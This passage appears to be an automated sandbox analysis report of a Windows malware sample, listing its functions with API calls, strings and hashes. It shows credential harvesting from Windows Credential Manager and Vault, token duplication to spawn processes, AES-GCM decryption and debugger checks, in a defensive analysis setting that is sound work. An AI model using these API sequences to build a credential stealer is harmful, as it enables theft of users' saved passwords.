Opcode ID: 37a8b195c578c9a4fbc35d1deeff53cfe6453ffd3510f332e7ba6ea45c6d82c2
Instruction ID: 32110cd5d190e6bf5fd548c044a9ef538a77bac20dcd350a54198e60d9ee0399
Opcode Fuzzy Hash: 37a8b195c578c9a4fbc35d1deeff53cfe6453ffd3510f332e7ba6ea45c6d82c2
Instruction Fuzzy Hash: B2D0C9B6550118BFFB012BA5AC15CF7BB9CEF097A1B004026FE84CA110D5725D1097B5

Uniqueness

Uniqueness Score: -1.00%

Function 0041021C, Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

_Deallocate.LIBCONCRT ref: 0041022B

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Deallocate
String ID:
API String ID: 1075933841-0
Opcode ID: 86f012d40a97c5a8339deafb374e89738169d74d4c644de65a0706dc75880bfd
Instruction ID: 6bfccb7af6e7638497f4b5f537acc2c57231d65ab27c0fd98eb9239ab294d2ec
Opcode Fuzzy Hash: 86f012d40a97c5a8339deafb374e89738169d74d4c644de65a0706dc75880bfd
Instruction Fuzzy Hash: 2CD09E310186108BF7345E18F5057A677E5EB05315F24095EE4D186595C7BA6CC88699

Uniqueness

Uniqueness Score: -1.00%

Function 004350C3, Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

GetUserNameA.ADVAPI32(?,?), ref: 004350DE

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 61f5ba5c05d30305611304f49ad6eb72e951543a1afcd66fa6b76d218acbb846
Instruction ID: cdb59cd0f94429d4d66104043b97c2d866e40b7933060b8ae6305b36cffb063e
Opcode Fuzzy Hash: 61f5ba5c05d30305611304f49ad6eb72e951543a1afcd66fa6b76d218acbb846
Instruction Fuzzy Hash: 67D0C97480810DEBCF50DB90D989AC9B7BCAB00308F0004A294C1E3140EAF4ABC99B91

Uniqueness

Uniqueness Score: -1.00%

Function 004457E5, Relevance: 1.5, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 004457F8

Part of subcall function 00457DD3: RtlFreeHeap.NTDLL(00000000,00000000,?,004611FB,?,00000000,?,00000002,?,0046149E,?,00000007,?,?,0046189F,?), ref: 00457DE9
Part of subcall function 00457DD3: GetLastError.KERNEL32(?,?,004611FB,?,00000000,?,00000002,?,0046149E,?,00000007,?,?,0046189F,?,?), ref: 00457DFB

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ErrorFreeHeapLast_free
String ID:
API String ID: 1353095263-0
Opcode ID: 23f0c064f22aac372c52d789ad5edf1b1cf86096f81de3a6e7a7eb415b598679
Instruction ID: b7a3069b83a4b2c13e848ccad22980ecbffd860f022369e03491f00531e0592c
Opcode Fuzzy Hash: 23f0c064f22aac372c52d789ad5edf1b1cf86096f81de3a6e7a7eb415b598679
Instruction Fuzzy Hash: 29C08C31000208FBCB009B42D806A4E7BBADB80368F204058F81017241CAB1EF089680

Uniqueness

Uniqueness Score: -1.00%

Function 00424E97, Relevance: 1.3, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00424EA6

Part of subcall function 0042488A: CoCreateInstance.OLE32(0046C990,00000000,00000015,0046C9B0,?), ref: 004248AA

Part of subcall function 00424796: lstrlenW.KERNEL32(?), ref: 004247BC
Part of subcall function 00424796: lstrlenW.KERNEL32(00000002), ref: 004247CD
Part of subcall function 00424796: CredEnumerateW.SECHOST(Microsoft_WinInet_*,00000000,00000000,?), ref: 004247F6
Part of subcall function 00424796: CryptUnprotectData.CRYPT32(?,00000000,0000004A,00000000,00000000,00000001,?), ref: 0042483C
Part of subcall function 00424796: LocalFree.KERNEL32(?), ref: 00424866
Part of subcall function 00424796: CredFree.ADVAPI32(?), ref: 0042487F

Part of subcall function 0042495F: GetVersionExW.KERNEL32(?), ref: 004249A7
Part of subcall function 0042495F: LoadLibraryW.KERNEL32(vaultcli.dll), ref: 004249CB
Part of subcall function 0042495F: GetProcAddress.KERNEL32(00000000,?), ref: 00424A18
Part of subcall function 0042495F: GetProcAddress.KERNEL32(00000000,?), ref: 00424A54
Part of subcall function 0042495F: GetProcAddress.KERNEL32(00000000,?), ref: 00424A8B
Part of subcall function 0042495F: GetProcAddress.KERNEL32(00000000,?), ref: 00424AC6

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: AddressProc$CredFreelstrlen$CreateCryptDataEnumerateInitializeInstanceLibraryLoadLocalUnprotectVersion
String ID:
API String ID: 1367598280-0
Opcode ID: cda9313b695274b068540047b879ab787c4f556d8210da3320a8202cd50ac74c
Instruction ID: 69da0c212e666dcbfae84b718f1c463dc36b72808612d92030793534bf44b6b5
Opcode Fuzzy Hash: cda9313b695274b068540047b879ab787c4f556d8210da3320a8202cd50ac74c
Instruction Fuzzy Hash: 3AE08C702182056BD204EB21DD57B6AB398DB80B29F40861CB8AD021D1AF74AD009A4A

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00438121, Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 140processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00438185
Process32FirstW.KERNEL32(00000000,0000022C), ref: 0043819F
OpenProcess.KERNEL32(001FFFFF,00000000,?,?,?,00000000), ref: 00438213
OpenProcessToken.ADVAPI32(00000000,000F01FF,?,?,?,00000000), ref: 00438225
DuplicateTokenEx.ADVAPI32(?,000F01FF,00000000,00000002,00000001,?,?,?,00000000), ref: 00438240
CloseHandle.KERNEL32(?,?,?,00000000), ref: 0043824D
GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,?,00000000), ref: 00438260
_strlen.LIBCMT ref: 0043826D
_mbstowcs.LIBCMT ref: 00438282
CreateProcessWithTokenW.ADVAPI32(?,00000001,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 0043829C
CloseHandle.KERNEL32(00000000,?,?,00000000), ref: 004382A3
Process32NextW.KERNEL32(00000000,0000022C), ref: 004382B5

Strings

S, xrefs: 0043814E
6SNF, xrefs: 00438134
ZYDS, xrefs: 0043813E

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessToken$CloseCreateHandleOpenProcess32$DuplicateFileFirstModuleNameNextSnapshotToolhelp32With_mbstowcs_strlen
String ID: 6SNF$S$ZYDS
API String ID: 674227017-618299555
Opcode ID: f9909e16c52b3f95d463a9fda6fcdffc27eb1b3a409b1683720ba3aeaf9cada7
Instruction ID: ef0f86784f7bec91924cd665459f810acd82b410f0e66b670f2fb33c0f0e047d
Opcode Fuzzy Hash: f9909e16c52b3f95d463a9fda6fcdffc27eb1b3a409b1683720ba3aeaf9cada7
Instruction Fuzzy Hash: 6C416D71A00209AFDF10DFA1DD85AEFB77DEF08305F1080AAF505A6151EE789E498B69

Uniqueness

Uniqueness Score: -1.00%

Function 0040A1F6, Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 152memoryCOMMON

Download Yara Rule

APIs

BCryptOpenAlgorithmProvider.BCRYPT(?,AES,00000000,00000000), ref: 0040A261
BCryptSetProperty.BCRYPT(?,ChainingMode,ChainingModeGCM,00000020,00000000), ref: 0040A27F
BCryptGenerateSymmetricKey.BCRYPT(?,00000010,00000000,00000000,?,00000020,00000000), ref: 0040A2A0
LocalAlloc.KERNEL32(00000040,?), ref: 0040A2F7
BCryptDecrypt.BCRYPT(00000010,?,?,?,00000000,00000000,00000000,?,?,00000000), ref: 0040A322
BCryptCloseAlgorithmProvider.BCRYPT(00000000,00000000), ref: 0040A389
BCryptDestroyKey.BCRYPT(00000000), ref: 0040A399

Strings

ChainingMode, xrefs: 0040A277
ChainingModeGCM, xrefs: 0040A272
AES, xrefs: 0040A25B

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Crypt$AlgorithmProvider$AllocCloseDecryptDestroyGenerateLocalOpenPropertySymmetric
String ID: AES$ChainingMode$ChainingModeGCM
API String ID: 2220362970-1213888626
Opcode ID: 47aa294272d6ba1a7b7b8ce8f99b0566246ac67c5beacd7cea2fb9d16f8f0093
Instruction ID: 70e29e5ff1c395bb306373d127da951bc080826973eed75c0fa0814770097ad5
Opcode Fuzzy Hash: 47aa294272d6ba1a7b7b8ce8f99b0566246ac67c5beacd7cea2fb9d16f8f0093
Instruction Fuzzy Hash: 57515CB1900308AFDB10DF95D985AEEBBB8FF04704F10452EF915A7291E7789A44CB66

Uniqueness

Uniqueness Score: -1.00%

Function 0043E387, Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 266COMMON

Download Yara Rule

APIs

GetFileAttributesExW.KERNEL32(?,00000000,?), ref: 0043E449
GetLastError.KERNEL32 ref: 0043E453
___std_fs_open_handle@16.LIBCPMT ref: 0043E4BB
GetLastError.KERNEL32 ref: 0043E525

Strings

kernel32.dll, xrefs: 0043E4DA
GetFileInformationByHandleEx, xrefs: 0043E4D5

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ErrorLast$AttributesFile___std_fs_open_handle@16
String ID: GetFileInformationByHandleEx$kernel32.dll
API String ID: 1210884149-1782754588
Opcode ID: 16ff7e4fba78bd3ff893ebc491da86d717eaaa4f02a761e4073efd21b937d597
Instruction ID: 0fba63c7fa995db980e6cf6a79ef55872a9786ea24547241b1ff7e1069405202
Opcode Fuzzy Hash: 16ff7e4fba78bd3ff893ebc491da86d717eaaa4f02a761e4073efd21b937d597
Instruction Fuzzy Hash: 13A1AC709012199FDB24CF69C885BAAB7F4AF08324F1442AAEC25EB3D1E778DD41CB55

Uniqueness

Uniqueness Score: -1.00%

Function 00412930, Relevance: 13.9, APIs: 1, Strings: 6, Instructions: 1612COMMON

Download Yara Rule

APIs

GetDriveTypeA.KERNEL32(?,?,?,00000000,00000001,?,?,00000001,004792FB,004792FB), ref: 00412B73

Part of subcall function 0041021C: _Deallocate.LIBCONCRT ref: 0041022B

Strings

F, xrefs: 00413948
%, xrefs: 004129F8
:, xrefs: 00412B80
8, xrefs: 00412BB0
0, xrefs: 00413F77
Lb "', xrefs: 00413100

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: DeallocateDriveType
String ID: %$0$8$:$F$Lb "'
API String ID: 1092882496-991194754
Opcode ID: 017d78378613620f198ee61448ae042d2974698327f348b2b287ce60e1eab99f
Instruction ID: 04c67b5180b27454ad995526e779db86adf25f2fa96885c01811c87e063df913
Opcode Fuzzy Hash: 017d78378613620f198ee61448ae042d2974698327f348b2b287ce60e1eab99f
Instruction Fuzzy Hash: 50E2CE71D0025CDACF24EFA5C991AEDB7B5AF14308F1041AEE406B7282DB785F89CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00462121, Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 251COMMON

Download Yara Rule

APIs

Part of subcall function 00456FBB: GetLastError.KERNEL32(?,?,?,00451DA6,004859E0,00000008,0043E236,?,004117CC,00000000,7FFFFFFF,?,00000000,00411508), ref: 00456FC0
Part of subcall function 00456FBB: SetLastError.KERNEL32(00000000,00000008,000000FF,?,?,?,00451DA6,004859E0,00000008,0043E236,?,004117CC,00000000,7FFFFFFF,?,00000000), ref: 0045705E

GetACP.KERNEL32(?,?,?,?,?,?,004553F0,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 004621E2
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,004553F0,?,?,?,00000055,?,-00000050,?,?), ref: 0046220D
_wcschr.LIBVCRUNTIME ref: 004622A1
_wcschr.LIBVCRUNTIME ref: 004622AF
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 00462370

Strings

utf8, xrefs: 004622DF

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ErrorLast_wcschr$CodeInfoLocalePageValid
String ID: utf8
API String ID: 4147378913-905460609
Opcode ID: 01480cd688ee488daf06af0f185df241d1d3ff1eea9c37af4dcba91562d0e84f
Instruction ID: c0ec50bb0176f79c71a888a2be529ce24b094e10f8c71d56428e24aa327f64a5
Opcode Fuzzy Hash: 01480cd688ee488daf06af0f185df241d1d3ff1eea9c37af4dcba91562d0e84f
Instruction Fuzzy Hash: A971F671600B02BAD725AB35CD42BB773A8AF45744F14442BFA0597281FBBCA941866B

Uniqueness

Uniqueness Score: -1.00%

Function 004644EB, Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1340COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00464666

Strings

1#INF, xrefs: 00465821
1#SNAN, xrefs: 004657FD
1#IND, xrefs: 004657F6
1#QNAN, xrefs: 00465804

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 48d744148692727f954f2fd2515b750140219c095e65496eb118174f1869e35c
Instruction ID: 6ada25e9123e2d2be1c60c14754c22895b8e28d38f4d81ec01020df3547a66d8
Opcode Fuzzy Hash: 48d744148692727f954f2fd2515b750140219c095e65496eb118174f1869e35c
Instruction Fuzzy Hash: B3C23871E046288FDF25CE28DD407EAB3B5EB89305F1541EBD84DA7240E779AE818F46

Uniqueness

Uniqueness Score: -1.00%

Function 004628AD, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,00462BCB,00000002,00000000,?,?,?,00462BCB,?,00000000), ref: 00462946
GetLocaleInfoW.KERNEL32(?,20001004,00462BCB,00000002,00000000,?,?,?,00462BCB,?,00000000), ref: 0046296F
GetACP.KERNEL32(?,?,00462BCB,?,00000000), ref: 00462984

Strings

OCP, xrefs: 00462901
ACP, xrefs: 004628CB

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: da4cd997c8b69ae28c37699b415adf93369019a46b24032af41af9289bbc8ae3
Instruction ID: 3b01666b312e930ae8f73bad3d7c21e7378fb1977e3a6e8ff32e080caa7f0504
Opcode Fuzzy Hash: da4cd997c8b69ae28c37699b415adf93369019a46b24032af41af9289bbc8ae3
Instruction Fuzzy Hash: 862127B2700901B6DB309B10CE00BA7B3A6FBD0B54F568526E94AD7210F7BACD45C79A

Uniqueness

Uniqueness Score: -1.00%

Function 00414B7F, Relevance: 8.0, Strings: 6, Instructions: 488COMMON

Download Yara Rule

Strings

UTC_, xrefs: 00414D0E, 0041507A
\YLY, xrefs: 00414F47
{vavf~, xrefs: 00415020
;zkk, xrefs: 00414BD1
!, xrefs: 00414BAD
iX, xrefs: 00414E29

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Transaction$Deallocate$CommitCopyCreateFileRollbackTransacted
String ID: !$;zkk$UTC_$\YLY$iX${vavf~
API String ID: 3460940935-2356302325
Opcode ID: 9a4f89eb01e1914b3de594ec8fee2e0583058164f163464b9cefc36a446d8393
Instruction ID: 2bb053adc0166a9410bf353a4518308d87547d9ecdedfbcdfa386a7680e94cf9
Opcode Fuzzy Hash: 9a4f89eb01e1914b3de594ec8fee2e0583058164f163464b9cefc36a446d8393
Instruction Fuzzy Hash: C122FF30D0428CCADF15EBB5C9A06EDFBB1AF59304F2441AEE44577282DB781E89CB59

Uniqueness

Uniqueness Score: -1.00%

Function 004144A8, Relevance: 8.0, Strings: 6, Instructions: 468COMMON

Download Yara Rule

Strings

!`qqe`u`, xrefs: 00414512
M|, xrefs: 00414A73
{c, xrefs: 004144D8
uu|m, xrefs: 00414862
j, xrefs: 0041486B
kmz|, xrefs: 004144D1

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Transaction$Create$CommitDeallocateTransacted$CopyDirectoryFile
String ID: !`qqe`u`$M|$j$kmz|$uu|m${c
API String ID: 2045272108-2744886791
Opcode ID: 39a445c77db2fe236e3361e9524d894730c4631de52c69a6647efa90e408c71b
Instruction ID: 71cc51df436c61b3912aebd050ec405fcc77b85958e2735fcf01ec1e0e60967e
Opcode Fuzzy Hash: 39a445c77db2fe236e3361e9524d894730c4631de52c69a6647efa90e408c71b
Instruction Fuzzy Hash: 4B12BF30D0428CCADF15EBB5C951AEDFBB1AF99308F2441AED44177282DB781E89CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00462A82, Relevance: 7.7, APIs: 5, Instructions: 183COMMON

Download Yara Rule

APIs

Part of subcall function 00456FBB: GetLastError.KERNEL32(?,?,?,00451DA6,004859E0,00000008,0043E236,?,004117CC,00000000,7FFFFFFF,?,00000000,00411508), ref: 00456FC0
Part of subcall function 00456FBB: SetLastError.KERNEL32(00000000,00000008,000000FF,?,?,?,00451DA6,004859E0,00000008,0043E236,?,004117CC,00000000,7FFFFFFF,?,00000000), ref: 0045705E

Part of subcall function 00456FBB: _free.LIBCMT ref: 0045701D
Part of subcall function 00456FBB: _free.LIBCMT ref: 00457053

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 00462B8E
IsValidCodePage.KERNEL32(00000000), ref: 00462BD7
IsValidLocale.KERNEL32(?,00000001), ref: 00462BE6
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00462C2E
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00462C4D

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Locale$ErrorInfoLastValid_free$CodeDefaultPageUser
String ID:
API String ID: 949163717-0
Opcode ID: e4825271d2b26a7ee1167f9e9888c91c22228d555ed1cd4cfac0524c8c3da401
Instruction ID: c1d56edad4854fcb22996269896a0a167671099fb8c602a82346b4d96f42bde2
Opcode Fuzzy Hash: e4825271d2b26a7ee1167f9e9888c91c22228d555ed1cd4cfac0524c8c3da401
Instruction Fuzzy Hash: A8515171A00605BBDB10DFA5DD41ABB73B8FF44B01F14446BE904E7251FBF8AA448B6A

Uniqueness

Uniqueness Score: -1.00%

Function 00462534, Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 00456FBB: GetLastError.KERNEL32(?,?,?,00451DA6,004859E0,00000008,0043E236,?,004117CC,00000000,7FFFFFFF,?,00000000,00411508), ref: 00456FC0
Part of subcall function 00456FBB: SetLastError.KERNEL32(00000000,00000008,000000FF,?,?,?,00451DA6,004859E0,00000008,0043E236,?,004117CC,00000000,7FFFFFFF,?,00000000), ref: 0045705E

Part of subcall function 00456FBB: _free.LIBCMT ref: 0045701D
Part of subcall function 00456FBB: _free.LIBCMT ref: 00457053

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00462588
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 004625D2
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00462698

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: InfoLocale$ErrorLast_free
String ID:
API String ID: 3140898709-0
Opcode ID: 1fa960a874fde73d4157b825c78b993f20c7eb9b9a8dde0402f080b4e68f990c
Instruction ID: afa84ce40961b7e58e7f536b2e2c068b3ec9966733afa2aff580e79e2981ff63
Opcode Fuzzy Hash: 1fa960a874fde73d4157b825c78b993f20c7eb9b9a8dde0402f080b4e68f990c
Instruction Fuzzy Hash: 5F619271600907ABDB289F24DE82BBB73A8EF04305F10407BED05D6685F7B8D985DB5A

Uniqueness

Uniqueness Score: -1.00%

Function 004463B5, Relevance: 4.6, APIs: 3, Instructions: 77COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,0043E8E3), ref: 004464AD
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,0043E8E3), ref: 004464B7
UnhandledExceptionFilter.KERNEL32(-00000328,?,?,?,?,?,0043E8E3), ref: 004464C4

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 5f91bf94a87c8254ebcd041f06a7014dd17ff4f3e8202913c924fa47ee1c5447
Instruction ID: bdbe02196d0043b30466a4703c2bf5709af1304efb77281fd75b10f641b3aaeb
Opcode Fuzzy Hash: 5f91bf94a87c8254ebcd041f06a7014dd17ff4f3e8202913c924fa47ee1c5447
Instruction Fuzzy Hash: 4331D6749412289BDB21DF65D98979DB7B8BF08310F5041EAE80CA7260EB749B858F49

Uniqueness

Uniqueness Score: -1.00%

Function 004889E8, Relevance: 3.7, Instructions: 3685COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: adc89c45a0f29ef5738ae13bb398c50c1338e7bfe17f3ef50e8ccca88719b8ed
Instruction ID: f1dd53088f88b6f313fdbb5f79f72d70f526407207cce9a74dd8d420c1f7b5dd
Opcode Fuzzy Hash: adc89c45a0f29ef5738ae13bb398c50c1338e7bfe17f3ef50e8ccca88719b8ed
Instruction Fuzzy Hash: 7D13436244EBC25FD3079B748A32244BF70AE57204B2E49DBC0C5CF5F3E629592AD366

Uniqueness

Uniqueness Score: -1.00%

Function 0046240E, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 00456FBB: GetLastError.KERNEL32(?,?,?,00451DA6,004859E0,00000008,0043E236,?,004117CC,00000000,7FFFFFFF,?,00000000,00411508), ref: 00456FC0
Part of subcall function 00456FBB: SetLastError.KERNEL32(00000000,00000008,000000FF,?,?,?,00451DA6,004859E0,00000008,0043E236,?,004117CC,00000000,7FFFFFFF,?,00000000), ref: 0045705E

EnumSystemLocalesW.KERNEL32(00462534,00000001,00000000,?,-00000050,?,00462B62,00000000,?,?,?,00000055,?), ref: 00462480

Strings

b+F, xrefs: 00462455

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID: b+F
API String ID: 2417226690-1574821776
Opcode ID: 26e50e111a08081a2667880cbcd2749aa75f5c7f768c817555371215614f408d
Instruction ID: 4578ffd1325a150a84f9595f643486d62d8ad7ef8fdcba4d569af49992eb9163
Opcode Fuzzy Hash: 26e50e111a08081a2667880cbcd2749aa75f5c7f768c817555371215614f408d
Instruction Fuzzy Hash: 4A110637200B016FDB189F39C9915BBB791FF80358B14442EE98747740E7B5A902CB44

Uniqueness

Uniqueness Score: -1.00%

Function 0044A210, Relevance: 3.4, APIs: 2, Instructions: 450COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 589ec304ea582e719352d4c90ffaa884d84c2e22deebaec6f51336c9eddc69a8
Instruction ID: ba22eb4e1f982a3db5eb0d6a0ae2da0e127bd1cb07e96d8e5fb15c469b1acf54
Opcode Fuzzy Hash: 589ec304ea582e719352d4c90ffaa884d84c2e22deebaec6f51336c9eddc69a8
Instruction Fuzzy Hash: CAF16071E012199FEF14CFA8C9806AEB7B1FF88314F15826ED819AB344D734AD11CB95

Uniqueness

Uniqueness Score: -1.00%

Function 0045C2E6, Relevance: 3.1, APIs: 2, Instructions: 55COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,00000001,?,0044E7BA,?,Microsoft Visual C++ Runtime Library,00012012,?,00000240,00000001,0041C216,?,?,?,00000000,00000480), ref: 0045C26F
OutputDebugStringW.KERNEL32(00000000,?,0044E7BA,?,Microsoft Visual C++ Runtime Library,00012012,?,00000240,00000001,0041C216,?,?,?,00000000,00000480,C:\Users\a13xuiop1337\Desktop\_Work\rc-build-v1-exe\json.hpp), ref: 0045C286

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: DebugDebuggerOutputPresentString
String ID:
API String ID: 4086329628-0
Opcode ID: bca80f1353a5c6385304e6656d1946b78cb7bd2e48fa836985edfde6a39d4b59
Instruction ID: ebb084989fad202494570a1e445b41a6c9ebee41c77b28a90dc7aec0ad77e916
Opcode Fuzzy Hash: bca80f1353a5c6385304e6656d1946b78cb7bd2e48fa836985edfde6a39d4b59
Instruction Fuzzy Hash: 2D01A732845318BFDA202AD25C86B7B375DEF02757F14048BFD09E6243CE29D84995BE

Uniqueness

Uniqueness Score: -1.00%

Function 0045CD9E, Relevance: 1.8, APIs: 1, Instructions: 274COMMON

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,00000000,?,00000008,?,?,0045CD99,00000000,?,00000008,?,?,00465E8B,00000000), ref: 0045CFCB

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 322506f57487a1255ed18589a2c0414357e06ba1d42f649138dc418e7dbc8a42
Instruction ID: d49f4dadaaf8bf12467eae943b6637eb51152a06861ede53db4f92b1760f1ccb
Opcode Fuzzy Hash: 322506f57487a1255ed18589a2c0414357e06ba1d42f649138dc418e7dbc8a42
Instruction Fuzzy Hash: CCB15C32610608DFD724CF28C4C6A657BA1FF45365F258659E89ACF3E2C339E986CB44

Uniqueness

Uniqueness Score: -1.00%

Function 004400C8, Relevance: 1.6, APIs: 1, Instructions: 144COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 004400DE

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: dce6577e17377a78d93b58d2a172f5f35872cf881dea77f530d2c607e34c4528
Instruction ID: 832e286a30792ebc6ae4d608c9a5bdf6280f2a25194d03438242f1d1e01e3ec5
Opcode Fuzzy Hash: dce6577e17377a78d93b58d2a172f5f35872cf881dea77f530d2c607e34c4528
Instruction Fuzzy Hash: 4D513FB1A006058BEB15CF69D8857AEBBF0FB48310F24896ED505EB350D7B99D10CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00462787, Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 00456FBB: GetLastError.KERNEL32(?,?,?,00451DA6,004859E0,00000008,0043E236,?,004117CC,00000000,7FFFFFFF,?,00000000,00411508), ref: 00456FC0
Part of subcall function 00456FBB: SetLastError.KERNEL32(00000000,00000008,000000FF,?,?,?,00451DA6,004859E0,00000008,0043E236,?,004117CC,00000000,7FFFFFFF,?,00000000), ref: 0045705E

Part of subcall function 00456FBB: _free.LIBCMT ref: 0045701D
Part of subcall function 00456FBB: _free.LIBCMT ref: 00457053

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 004627DB

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ErrorLast_free$InfoLocale
String ID:
API String ID: 2003897158-0
Opcode ID: 5ff42215cd41ef7e85f2325ef2b66c71edfe9350f302d49f831cce63c7df8411
Instruction ID: 340c4fcba5c89625e36823f2c30b0a576bbf9a72425f09d0ba349509071f1824
Opcode Fuzzy Hash: 5ff42215cd41ef7e85f2325ef2b66c71edfe9350f302d49f831cce63c7df8411
Instruction Fuzzy Hash: 5521D332A01A06ABDB28AA25DD41ABB73A8EF04315F10017FFD01D7251FBB89C04C75A

Uniqueness

Uniqueness Score: -1.00%

Function 00434FF1, Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetLogicalDriveStringsA.KERNEL32 ref: 00435043

Part of subcall function 0041021C: _Deallocate.LIBCONCRT ref: 0041022B

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: DeallocateDriveLogicalStrings
String ID:
API String ID: 1843716440-0
Opcode ID: 6bf5dbad2c7d14962fdde4a9f01546515f829ee3e54a8f3c28b6e05a6a5e6c42
Instruction ID: 57bc543db7d79ff06339cc88e15f9a064273011ac710e465f10ebde551bba331
Opcode Fuzzy Hash: 6bf5dbad2c7d14962fdde4a9f01546515f829ee3e54a8f3c28b6e05a6a5e6c42
